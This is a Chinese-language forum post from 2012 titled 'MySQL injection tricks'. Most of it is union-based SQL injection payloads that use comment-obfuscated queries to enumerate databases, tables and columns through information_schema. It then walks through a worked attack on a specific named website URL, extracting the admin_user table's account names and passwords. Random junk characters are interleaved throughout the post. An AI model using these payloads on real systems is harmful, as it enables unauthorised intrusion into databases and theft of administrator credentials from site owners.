中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
5 R8 _, G& z0 B# L _
7 o6 ]7 C& k/ z+ D0 p
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
* H. c! n7 n/ B! J. _5 k. K0 V+ G
" l! ^' }" d, W) |
查表
& o" k4 ^3 H% L* g$ N) O
; ~. k4 i( q5 q. V/ M
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
2 s0 Y% d1 i- e: f6 Z! h
+ V+ V* r; g( Q& s7 u0 j; j
查段
# f0 V% [2 `2 R* H2 W: Z- G
) \( V' I; m0 K1 D6 q
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
8 @. T8 y7 h. M# \* K7 \- g! G
6 ?( `) t7 U& J8 y
0 h7 l# K; v6 O7 X
mysql5高级注入方法暴表
& V9 N% P/ v! ?) [$ R& A4 L
; m+ E( `6 s! c" w
例子如下:
6 V1 {) X; M' B$ @
9 t; J# @$ m3 i8 H! ~
1.爆表
, |! E1 z! B$ J6 H( {/ R
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
) U3 z! T P! U; P5 v& p! O
这样爆到第4个时出现了admin_user表。
8 v7 }) {& D6 O, W
7 p _: [7 P4 E# N: K& T3 o2 k, H8 n
2.暴字段
$ J7 e! W$ P3 X: w% o5 n
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
5 r' F8 t- g4 {5 y& c6 `- t( s6 c
" |' C4 W6 b+ Y4 z9 o. l
$ L! ?$ y. W& ^
3.爆密码
+ N8 Q+ U$ F' n9 s" e3 C- [
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
+ I: y$ ?& f" t0 x [& C: b
S. i3 ~. h( N6 |* P
2 z* Q( N' w) z, a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2